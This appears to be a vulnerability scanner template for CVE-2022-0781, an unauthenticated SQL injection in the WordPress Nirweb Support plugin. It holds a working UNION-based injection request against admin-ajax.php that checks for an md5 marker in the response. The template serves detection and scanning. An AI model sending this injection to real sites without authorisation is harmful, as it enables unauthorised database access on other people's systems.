id: CVE-2022-0781 info: name: WordPress Nirweb Support <2.8.2 - SQL Injection author: theamanrawat severity: critical description: | WordPress Nirweb support plugin before 2.8.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site. reference: - https://wpscan.com/vulnerability/1a8f9c7b-a422-4f45-a516-c3c14eb05161 - https://wordpress.org/plugins/nirweb-support/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0781 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0781 cwe-id: CWE-89 cpe: cpe:2.3:a:nirweb:nirweb_support:*:*:*:*:*:*:*:* epss-score: 0.01112 metadata: max-request: 1 verified: "true" tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,wpscan,nirweb-support,unauth variables: num: "999999999" http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=answerd_ticket&id_form=1 UNION ALL SELECT NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL-- - matchers-condition: and matchers: - type: word part: body words: - '{{md5(num)}}' - type: status status: - 200 # Enhanced by md on 2022/10/12